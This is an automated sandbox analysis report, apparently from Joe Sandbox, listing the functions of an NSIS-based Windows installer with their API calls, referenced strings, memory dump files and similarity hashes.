Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NCRC, xrefs: 0040397C
Error launching installer, xrefs: 00403A7D
NSIS Error, xrefs: 004038E2
~nsu.tmp, xrefs: 00403AF7
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
/D=, xrefs: 004039A6
1C, xrefs: 00403B56
SeShutdownPrivilege, xrefs: 00403C16

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename: %s, xrefs: 004018F8
Rename on reboot: %s, xrefs: 00401943
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
CreateDirectory: "%s" created, xrefs: 00401849
SetFileAttributes failed., xrefs: 004017A1
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
BringToFront, xrefs: 004016BD
Sleep(%d), xrefs: 0040169D
detailprint: %s, xrefs: 00401679
Call: %d, xrefs: 0040165A
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Rename failed: %s, xrefs: 0040194B
CreateDirectory: "%s" (%d), xrefs: 004017BF
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Aborting: "%s", xrefs: 0040161D
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Jump: %d, xrefs: 00401602

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

_Nb, xrefs: 00405AD1
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
RichEd20, xrefs: 00405B9D
RichEd32, xrefs: 00405BA8
@%F, xrefs: 004059F6
RichEdit, xrefs: 00405BC4
.exe, xrefs: 00405A3D
RichEdit20A, xrefs: 00405BB6, 00405BBB
@rD, xrefs: 00405965
.DEFAULT\Control Panel\International, xrefs: 00405999
B%F, xrefs: 00405A1F

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,BasicsCommunication,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,BasicsCommunication,BasicsCommunication,00000000,00000000,BasicsCommunication,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error, user abort, xrefs: 00401B53
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
BasicsCommunication, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error creating "%s", xrefs: 00401AF0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: error, user retry, xrefs: 00401B40

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: BasicsCommunication$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-3321519224
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Error launching installer, xrefs: 004035D7
soft, xrefs: 00403675
Null, xrefs: 0040367E
Inst, xrefs: 0040366C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 0040343C
P1B, xrefs: 004033A9
... %d%%, xrefs: 0040349E
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
